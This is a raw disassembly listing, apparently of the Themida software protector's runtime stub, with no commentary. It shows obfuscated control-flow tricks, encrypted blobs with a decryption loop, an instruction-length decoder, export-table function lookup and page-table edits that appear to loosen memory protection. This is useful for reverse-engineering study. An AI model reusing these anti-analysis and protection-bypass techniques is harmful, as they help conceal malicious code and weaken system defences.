		cmp	ecx, 104h
		jz	short loc_5A48A9
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5A48CD
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+610025Dh]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+610025Dh]
		push	eax
		call	dword ptr [edx+610061Dh]
		pop	edx
		or	eax, eax
		jnz	short loc_5A48A9
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5A4919
; ---------------------------------------------------------------------------


loc_5A4912:				; CODE XREF: Themida_:005A48C0j
		mov	dword ptr [ebp-4], 0


loc_5A4919:				; CODE XREF: Themida_:005A487Bj
					; Themida_:005A4910j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		cmc
		jno	loc_5A4929
		stc


loc_5A4929:				; CODE XREF: Themida_:005A4922j
		mov	edx, edx
		lea	ecx, [ebp+6159583h]
		push	0
		push	ebp
		call	sub_5A493C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A493C	proc near		; CODE XREF: Themida_:005A4934p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5A493C	endp

; ---------------------------------------------------------------------------
		sub	bh, [edi+7Dh]
		xchg	eax, ds:0C9EC8031h
		or	[ebp+6100DE1h],	edx
		push	esi
		ja	loc_5A4967
		sbb	bx, 0F56h


loc_5A4967:				; CODE XREF: Themida_:005A495Cj
		pop	edi
		mov	[ebp+61009F5h],	ecx
		movsx	edx, ax
		mov	dword ptr [ebp+6102319h], 5D64h
		push	0
		push	ebx
		call	sub_5A4986
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4986	proc near		; CODE XREF: Themida_:005A497Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5A4986	endp

; ---------------------------------------------------------------------------
		dw 0ACF7h
		dd 5BCC606Dh, 0E4DE8166h, 0DBBF0F4Ah, 22C185C7h, 610h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 9290B1C3h, 0BD89A8DAh, 61021BDh, 11EDB5FFh
		dd 0FFF80610h, 102DB995h, 0A1950106h, 6A061005h, 0C995FF00h
		dd 8B061031h, 0EF68EBC0h, 19D2F850h, 4FBFFD9Dh,	618AEC0Dh
		dd 9EC500B9h, 0CD8426E0h, 74D0F20Dh, 0F616EC39h, 0E6EACE11h
		dd 0C00FE4DBh, 102FA0F5h, 0E8D85BD1h, 0C04AC2E5h, 0E582AA6h
		dd 4D7100A5h, 5AE8E707h, 445105E7h, 0E93D30DFh,	7F65D6C7h
		dd 1923220Eh, 0E904246Ch, 3774B6D8h, 7AAF5353h,	208AA5B8h
		dd 918F8458h, 424EE637h, 0E8D07A97h, 0Ch, 2685D34Ah, 0D1015957h
		dd 0B3A39FAh, 0BE9h, 507D1E00h,	7941F6C6h, 0ECB22988h
		dd 41F1815Fh, 81501048h, 648DC7h, 0B5BD8900h, 0BA06101Dh
		dd 0
		dd 893A34FFh, 101E018Dh, 0C3815B06h, 673B0C5Ch,	2318589h
		dd 0F3810610h, 54C1FF32h, 1358D8Bh, 0EB810610h,	75731C93h
		dd 10E8h, 7ADC9300h, 0D60656B7h, 8EE11756h, 0F8B072A2h
		dd 11E9B2h, 55CD0000h, 74B18E8Eh, 674B728h, 0CD17E2D4h
		dd 5E3AC00Eh, 8F21B453h, 13E81704h, 0B8000000h,	7A038179h
		dd 0A14D33B4h, 0B7C260C3h, 0C1C6B52Eh, 816689FAh, 5EB492E8h
		dd 286DBD29h, 0EA830610h, 9D8D3103h, 4A06102Eh,	0B458501h
		dd 0FA810610h, 0FFFF9C6Ch, 14850Fh, 8B0F0000h, 2, 22E9CF8Bh
		dd 0CF000000h, 0C4576B54h, 0F38BDD47h, 0FFFF4BE9h, 91A8CCFFh
		dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 22A560DCh, 798D8D88h
		dd 89061597h, 101D1D8Dh, 0F58D8906h, 6A061009h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 5F98C356h, 1985C756h, 54061023h, 0F000073h, 85C7C6BFh
		dd 61022C1h, 0
; ---------------------------------------------------------------------------
		mov	esi, 7F04F66Bh
		push	dword ptr [ebp+6102821h]
		push	0
		push	ebp
		call	sub_5A4BBA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4BBA	proc near		; CODE XREF: Themida_:005A4BB2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5A4BBA	endp

; ---------------------------------------------------------------------------
		ror	byte ptr [esi],	0DDh
		and	eax, 0FFB94FABh
		xchg	eax, ebp
		mov	ecx, 306102Dh
		mov	ebp, 61005EDh
		push	0


loc_5A4BDF:				; DATA XREF: Themida_:0054D188o
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5A4C33
; ---------------------------------------------------------------------------
		align 2
		dw 3BB3h
		dd 53139E76h, 8B0E26Fh,	10966097h, 1F6BFCDEh, 0A7004B2Bh
		dd 0D26B51A2h, 0E6FF763Ah, 8CEFE606h, 0C9040411h, 28AE13ABh
		dd 803F0621h, 50178F5Ah, 221291F0h, 0DCFAF2FFh,	4C18C913h
		dd 44F90221h, 8A748BC7h
		db 79h,	43h, 0Bh
; ---------------------------------------------------------------------------


loc_5A4C33:				; CODE XREF: Themida_:005A4BE7j
		call	sub_5A4C3D
		mov	ebx, 811C0242h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5A4C3D	proc near		; CODE XREF: Themida_:loc_5A4C33p
		jmp	sub_5A4C50
sub_5A4C3D	endp

; ---------------------------------------------------------------------------
		dw 6988h
; ---------------------------------------------------------------------------
		stosb
		add	[eax+edx*2-1CB50861h], cl
		int	3		; Trap to Debugger
		dec	esp
		push	ebp
		xchg	eax, edi

; =============== S U B	R O U T	I N E =======================================



sub_5A4C50	proc near		; CODE XREF: sub_5A4C3Dj
		pop	ecx
		add	ecx, 72E6h
		mov	esi, 0
		or	[ebp+610123Dh],	edx


loc_5A4C62:				; CODE XREF: sub_5A4C50+5Dj
		push	dword ptr [esi+ecx]
		jg	$+6
		pop	eax
		add	eax, 71A1358Eh
		mov	dx, cx
		xor	eax, 97D2A09h
		add	[ebp+610024Dh],	edi
		sub	eax, 1A2C2F9Bh
		or	edi, [ebp+61001DDh]
		mov	[ecx+esi], eax
		mov	edx, [ebp+6100BD9h]
		jle	loc_5A4C9E
		mov	bl, 71h


loc_5A4C9E:				; CODE XREF: sub_5A4C50+46j
		sub	esi, 4
		ja	$+6
		cmp	esi, 0FFFF8DA8h
		jnz	loc_5A4C62
		call	near ptr loc_5A4CC1+2
		into
		and	[edi+esi*2-70039D80h], ebp
		cdq


loc_5A4CC1:				; CODE XREF: sub_5A4C50+63p
		bound	ebx, [ebx+20859D8Bh]
sub_5A4C50	endp ; sp-analysis failed

		adc	[esi], al
		pop	edi
		jmp	loc_5A4E97
; ---------------------------------------------------------------------------
		dd offset loc_418886+2
		dd offset loc_418886+2
		dd offset loc_418886+2
		dd offset loc_418886+2
		dd offset loc_418886+2
		dd offset loc_418886+2
		dd offset loc_418886+2
		dd offset loc_418886+2
		align 10h
		dd 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 8E29000Ch, 1000075h, 11h	dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A4E97:				; CODE XREF: Themida_:005A4CCAj
		jmp	loc_5A51EF

; =============== S U B	R O U T	I N E =======================================



sub_5A4E9C	proc near		; DATA XREF: Themida_:0054E8FCo
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6159A37h
		pusha
		mov	dword ptr [ebp+6159984h], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5A4ECE
		mov	dword ptr [ebp+6159988h], 6
		jmp	loc_5A4EF2
; ---------------------------------------------------------------------------


loc_5A4ECE:				; CODE XREF: sub_5A4E9C+1Dj
		lea	eax, [ebp+615998Ch]
		push	eax
		lea	eax, [ebp+61599DCh]
		push	eax
		push	esi
		push	0
		call	sub_5A4F01
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+6159988h],	eax


loc_5A4EF2:				; CODE XREF: sub_5A4E9C+2Dj
		popa
		add	esi, [ebp+6159988h]
		mov	eax, [ebp+6159984h]
		pop	ebp
		retn
sub_5A4E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A4F01	proc near		; CODE XREF: sub_5A4E9C+43p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_615997C	= dword	ptr  6159984h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5A4F2E
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5A4F3A
; ---------------------------------------------------------------------------


loc_5A4F2E:				; CODE XREF: sub_5A4F01+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5A4F3A:				; CODE XREF: sub_5A4F01+28j
		push	ebx
		push	esi
		push	edi


loc_5A4F3D:				; CODE XREF: sub_5A4F01+91j
					; sub_5A4F01+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A4F50:				; CODE XREF: sub_5A4F01+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6159AEEh
		lea	ebp, [ebp+6159964h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A4F7D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A4F50


loc_5A4F7D:				; CODE XREF: sub_5A4F01+6Bj
		cmp	cl, 0Bh
		jz	loc_5A4FDA
		cmp	al, 66h
		jnz	loc_5A4FBB
		cmp	[ebp+var_5], 0
		jnz	loc_5A4F3D
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5A4FB3
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5A4F3D
; ---------------------------------------------------------------------------


loc_5A4FB3:				; CODE XREF: sub_5A4F01+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5A4FBB:				; CODE XREF: sub_5A4F01+87j
		cmp	al, 67h
		jnz	loc_5A4F3D
		cmp	[ebp+var_6], 0
		jnz	loc_5A4F3D
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5A4F3D
; ---------------------------------------------------------------------------


loc_5A4FDA:				; CODE XREF: sub_5A4F01+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A5006
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A500B
; ---------------------------------------------------------------------------


loc_5A5006:				; CODE XREF: sub_5A4F01+E4j
		movzx	edi, al
		shr	edi, 1


loc_5A500B:				; CODE XREF: sub_5A4F01+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6159BA6h
		lea	ebp, [ebp+6159864h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5A518D
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A50D1
		dec	ecx
		jz	loc_5A50B4
		dec	ecx
		jnz	loc_5A5124
		cmp	[ebp+var_2], 0
		jnz	loc_5A5120
		cmp	[ebp+var_5], 0
		jz	loc_5A5093
		mov	byte ptr [ebp+arg_0+3],	2


loc_5A5093:				; CODE XREF: sub_5A4F01+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6159C32h
		mov	[ebp+arg_615997C], 1
		pop	ebp
		jmp	loc_5A5124
; ---------------------------------------------------------------------------


loc_5A50B4:				; CODE XREF: sub_5A4F01+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5A50FE
		cmp	[ebp+var_5], 0
		jz	loc_5A50FE
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5A50FE
; ---------------------------------------------------------------------------


loc_5A50D1:				; CODE XREF: sub_5A4F01+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5A5117
		cmp	[ebp+var_5], 0
		jz	loc_5A5106
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A50FE
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5A50FE:				; CODE XREF: sub_5A4F01+1B7j
					; sub_5A4F01+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5A5124
; ---------------------------------------------------------------------------


loc_5A5106:				; CODE XREF: sub_5A4F01+1DEj
		cmp	dl, 5
		jnz	loc_5A5124
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5A5124
; ---------------------------------------------------------------------------


loc_5A5117:				; CODE XREF: sub_5A4F01+1D4j
		cmp	dl, 6
		jnz	loc_5A5124


loc_5A5120:				; CODE XREF: sub_5A4F01+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5A5124:				; CODE XREF: sub_5A4F01+174j
					; sub_5A4F01+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5A5152
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5A5134:				; CODE XREF: sub_5A4F01+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A5134
		mov	esi, edx


loc_5A5152:				; CODE XREF: sub_5A4F01+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A5187
		cmp	edi, 7Fh
		ja	loc_5A5187
		test	bl, 38h
		jnz	loc_5A5187
		cmp	[ebp+var_7], 0
		jz	loc_5A5181
		movzx	eax, [ebp+var_4]
		jmp	loc_5A5184
; ---------------------------------------------------------------------------


loc_5A5181:				; CODE XREF: sub_5A4F01+271j
		push	1
		pop	eax


loc_5A5184:				; CODE XREF: sub_5A4F01+27Bj
		mov	[ebp+var_1], al


loc_5A5187:				; CODE XREF: sub_5A4F01+255j
					; sub_5A4F01+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5A518D:				; CODE XREF: sub_5A4F01+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A51B8
		dec	eax
		dec	eax
		jz	loc_5A51AE
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5A51C0
; ---------------------------------------------------------------------------


loc_5A51AE:				; CODE XREF: sub_5A4F01+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5A51BD
; ---------------------------------------------------------------------------


loc_5A51B8:				; CODE XREF: sub_5A4F01+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5A51BD:				; CODE XREF: sub_5A4F01+2B2j
		add	[ebp+var_1], al


loc_5A51C0:				; CODE XREF: sub_5A4F01+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5A51E8
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5A51D3:				; CODE XREF: sub_5A4F01+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A51D3


loc_5A51E8:				; CODE XREF: sub_5A4F01+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5A4F01	endp

; ---------------------------------------------------------------------------


loc_5A51EF:				; CODE XREF: Themida_:loc_5A4E97j
		lea	eax, [ebp+6159A31h]
		mov	[ebp+6103491h],	eax
		jmp	loc_5A5466
; ---------------------------------------------------------------------------
		pusha
		mov	cx, ds
		test	cl, 4
		jz	loc_5A5242
		push	1
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+613858Ah]
		call	eax
		mov	[ebp+6101F35h],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20060000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+6101F35h]
		jmp	loc_5A5274
; ---------------------------------------------------------------------------


loc_5A5242:				; CODE XREF: Themida_:005A5207j
		mov	byte ptr [ebp+61023E5h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6101D45h]
		lea	eax, [ebp+613858Ah]
		call	eax
		mov	[ebp+6101261h],	eax
		lea	eax, [ebp+6101DADh]
		push	eax
		push	40h
		push	5
		push	esi
		call	dword ptr [ebp+6101261h]


loc_5A5274:				; CODE XREF: Themida_:005A523Dj
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5282:				; DATA XREF: Themida_:0054D174o
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+6159E13h],	eax
		mov	eax, [edx+0Ch]
		mov	[ebp+6159E0Bh],	eax
		mov	eax, [edx+10h]
		mov	[ebp+6159E0Fh],	eax
		lea	esi, [ebp+6159E49h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6159E13h]
		mov	eax, [ebp+6159E0Bh]
		cmp	dword ptr [ebp+6159E0Fh], 0
		jz	loc_5A52D4
		mov	[esi], eax
		jmp	locret_5A52D6
; ---------------------------------------------------------------------------


loc_5A52D4:				; CODE XREF: Themida_:005A52C7j
		mov	[esi], al

locret_5A52D6:				; CODE XREF: Themida_:005A52CFj
		iret
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A52DF:				; DATA XREF: Themida_:0054B568o
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+6159E13h],	eax
		lea	esi, [ebp+6159E9Ah]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		mov	eax, [ebp+6159E13h]
		retn	4
; ---------------------------------------------------------------------------
		db 8Bh,	85h, 13h
		dd 8B06159Eh, 13858900h, 0CF06159Eh, 0

; =============== S U B	R O U T	I N E =======================================



sub_5A5318	proc near		; DATA XREF: Themida_:0054D1DCo
		pusha
		mov	[ebp+6159E70h],	esi
		mov	[ebp+6159E6Ch],	eax
		lea	eax, [ebp+6100CB5h]
		mov	eax, [eax+44h]
		mov	[ebp+6159EA9h],	eax
		lea	esi, [ebp+6159EDFh]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		mov	eax, [ebp+6159E70h]
		retn
sub_5A5318	endp

; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6159E6Ch]
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		mov	ebx, [ebx+78h]
		add	ebx, [ebp+6159E6Ch]
		mov	esi, [ebx+24h]
		add	esi, [ebp+6159E6Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [ebp+6159E6Ch]
		add	esi, [ebp+6159E6Ch]
		cld
		or	ecx, 0FFFFFFFFh


loc_5A537F:				; CODE XREF: Themida_:005A539Dj
					; Themida_:005A53ACj
		inc	ecx
		mov	ebx, [ebp+6159E70h]
		mov	edx, [edi]
		add	edx, [ebp+6159E6Ch]
		add	edi, 4


loc_5A5391:				; CODE XREF: Themida_:005A53A5j
		mov	al, [edx]
		test	al, al
		jz	loc_5A53AA
		cmp	al, [ebx]
		jnz	loc_5A537F
		inc	ebx
		inc	edx
		jmp	loc_5A5391
; ---------------------------------------------------------------------------


loc_5A53AA:				; CODE XREF: Themida_:005A5395j
		cmp	al, [ebx]
		jnz	loc_5A537F
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [ebp+6159E6Ch]
		mov	[ebp+6159E70h],	eax
		mov	esi, eax
		mov	ecx, esi
		mov	eax, ecx
		cmp	dword ptr [ebp+6159EA9h], 0C0300000h
		jnz	loc_5A53EB
		shr	eax, 14h
		and	eax, 0FFCh
		jmp	loc_5A53F3
; ---------------------------------------------------------------------------


loc_5A53EB:				; CODE XREF: Themida_:005A53D8j
		shr	eax, 12h
		and	eax, 3FF8h


loc_5A53F3:				; CODE XREF: Themida_:005A53E6j
		mov	edi, [ebp+6159EA9h]
		or	dword ptr [edi+eax], 6
		mov	edx, [edi+eax]
		mov	eax, edx
		and	al, 81h
		cmp	al, 81h
		mov	eax, ecx
		jz	locret_5A5465
		cmp	dword ptr [ebp+6159EA9h], 0C0300000h
		jnz	loc_5A542B
		shr	eax, 0Ah
		and	eax, 3FFFFCh
		jmp	loc_5A5433
; ---------------------------------------------------------------------------


loc_5A542B:				; CODE XREF: Themida_:005A5418j
		shr	eax, 9
		and	eax, 7FFFF8h


loc_5A5433:				; CODE XREF: Themida_:005A5426j
		sub	eax, 40000000h
		or	dword ptr [eax], 6
; ---------------------------------------------------------------------------
		db 0F7h
		dd 8000h
; ---------------------------------------------------------------------------


loc_5A5440:				; CODE XREF: Themida_:005A549Fj
		add	[edi], cl
		test	[esi], bl
; ---------------------------------------------------------------------------
		dd 81000000h, 159EA9BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h
; ---------------------------------------------------------------------------
		push	es

locret_5A5465:				; CODE XREF: Themida_:005A5408j
		iret
; ---------------------------------------------------------------------------


loc_5A5466:				; CODE XREF: Themida_:005A51FBj
		lea	eax, [ebp+6159E17h]
		mov	[ebp+6101D09h],	eax
		lea	eax, [ebp+6159EADh]
		mov	[ebp+6101D71h],	eax
		lea	eax, [ebp+6159E74h]
		mov	[ebp+61000FDh],	eax
		int	3		; Trap to Debugger
		adc	[eax+1Ch], eax
		mov	bp, 2864h
		mov	eax, 21F12661h
		jnb	short loc_5A54CB
		add	eax, 794E3742h
		clc
		jb	short loc_5A5440
		call	edi
		xchg	ebx, esp
		xor	byte ptr [eax-79h], 0A2h
		xor	al, dh
		rep xor	dl, dl
		loopne	near ptr loc_5A54B3+4
		db	36h
		push	ds
		dec	edx


loc_5A54B3:				; CODE XREF: Themida_:005A54AEj
		mov	dl, [esi-61CE0BEEh]
		aas
		mul	dword ptr [edi]
		lahf
		xor	[ecx], bh
		mov	bh, 5Eh
		jo	short near ptr loc_5A5535+3
		or	ebx, [eax+esi+3217384Eh]
		daa


loc_5A54CB:				; CODE XREF: Themida_:005A5497j
		aaa
		lahf
		sbb	dword ptr [ebp-1BDEDD4Ch], 0EB309927h
		mov	bl, 0DBh
		xor	[edx+37h], dh
		adc	eax, 71B65FFCh
		sal	ah, 0DEh
		test	[ebx], dh
		dec	esi
		aaa
		cmc
		xor	[eax-21h], dh
		pushf
		xor	[ebx+0A6FBF37h], dl
		push	33C04C16h
		push	ds
		jz	short near ptr loc_5A554D+4
		xor	eax, [ebx-27C8C6D0h]
		db	67h
		pop	edi
		sub	al, 87h
		out	dx, al
		mov	edx, 0B1BA5499h
		lea	esi, [esi+3Fh]
		xchg	eax, ebx
		aaa
		lahf
		loopne	near ptr loc_5A5535+3
		push	7C57EC05h
		xchg	eax, edi
		cwde
		scasd
		cwde
		mov	ebx, 120ED629h
		mov	ch, 0A3h
		xchg	eax, edi
		mov	dh, [esi]
		fcompp	st(7), st
		xchg	eax, edi
		xor	[edi], ah
		aaa
		test	al, 98h
		ror	dword ptr [eax+eax*2-2Fh], 8Fh
		mov	cl, 0F9h


loc_5A5535:				; CODE XREF: Themida_:005A54C1j
					; Themida_:005A5511j
		mov	ebx, 0A0CF6D14h
		rep out	91h, al
		adc	[ebx-63DB888Ah], ch
		aaa
		lahf
		aam	0EDh
		fisub	word ptr [edx+23h]
		lahf
		xchg	eax, ebx
		lodsb


loc_5A554D:				; CODE XREF: Themida_:005A54F9j
		or	eax, 2794E0A9h
		mov	ch, 14h
		or	al, 0A4h
		retn	0B737h
; ---------------------------------------------------------------------------
		aas
		std
		db	36h
		lahf
		xor	[ecx], bh
		retf
; ---------------------------------------------------------------------------
		dd 1619BDC5h, 8E48253Fh, 6EC80319h, 5A38F0Fh, 65991837h
		dd 37E42377h, 0B4C0869Fh, 0F9D1AB0Dh, 0A62186DCh, 882E46EAh
		dd 0A7350F17h, 6ECACB14h, 0C80BB00Fh, 3E9DA560h, 0B77D368Fh
		dd 3739309Ah, 2639F120h, 658EBB9Fh, 0DA796A25h,	8A106EA6h
		dd 31D92512h, 0B4ED459Fh, 2772A522h, 2E4D3099h,	0F71763CFh
		dd 374A4A27h, 52A2B99Fh, 0BA952091h, 25712502h,	6C37CF99h
		dd 0A2CFB3C7h, 373F209Fh, 64CC27EBh, 374A4A27h,	52A2B99Fh
		dd 0BA952091h, 257C3402h, 6C37CF99h, 377CD8C7h,	0EB30309Fh
		dd 2E55E217h, 0D4FCE605h, 0CB8DAD6Bh, 38CDE014h, 37C93A1Eh
		dd 33603F9Fh, 5172309Fh, 0BCE16121h, 1E01BD5Fh,	0BC48253Fh
		dd 6CA2BD6Eh, 8E952514h, 5967649Ah, 378EE060h, 3771D8C8h
		dd 6819309Fh, 4B156F5Ch, 73CF34BBh, 373C34BBh, 60D4309Fh
		dd 24ECE55Ch, 621242FFh, 3775D826h, 0CD1C309Fh,	127428AAh
		dd 3810CC97h, 37273418h, 0F32A569Fh, 38093BA8h,	37E4761Bh
		dd 0E5ADB19Fh, 0BA74A6E6h, 27D2B502h, 36C73F99h, 0CB27309Fh
		dd 37933327h, 60C95A9Fh, 37E43377h, 0F42D109Fh,	1345B9C0h
		dd 13D8B19Bh, 374E2B9Bh, 0F470779Fh, 0CCD59CC5h, 0C7BBD2CEh
		dd 1BCAE61Eh, 0D48D54BFh, 0BACE8F90h, 223C0102h, 604E5A99h
		dd 37273377h, 0F4CC109Fh, 13B5B9C0h, 13A0B19Bh,	37722A9Bh
		dd 0F46E779Fh, 0F02043D9h, 38BDDFECh, 0B2AAC628h, 3186BBC4h
		dd 0DF9930F5h, 37E4309Ch, 6FB168BFh, 331D7416h,	33B8741Eh
		dd 374E3082h, 0B8E460DFh, 75446B59h, 9FD7819h, 0E71BC521h
		dd 8AB5B1F9h, 38F93B62h, 379C091Bh, 0EBF1569Fh,	0B2BABD2Dh
		dd 389520D1h, 37C93315h, 0FF5B3F9Fh, 37723127h,	65395A9Fh
		dd 379C3377h, 0F414109Fh, 1373B9C5h, 13D7B19Bh,	37C9269Bh
		dd 0F4B6729Fh, 0C8A85FE4h, 0AAB4C57Ch, 318990A9h, 0BA848167h
		dd 22AC6B1Ah, 3795D899h, 0D2F6309Fh, 43E78B90h,	0C82CDF15h
		dd 3C9A854Fh, 4B183F5Fh, 5D4E309Fh, 34CF639Fh, 1793309Fh
		dd 0BE92F3C4h, 0B6E014C3h, 2B7614DBh, 7439309Fh, 831EF3CCh
		dd 6C7C8484h, 386D49FCh, 0AA1EC628h, 31D97E1Ah,	0DFB530F5h
		dd 3772309Ch, 6EFA69BFh, 33B87C16h, 336A741Eh, 3727308Ah
		dd 705061DEh, 37CA8827h, 0B682309Fh, 0C8018056h, 62395A7Ch
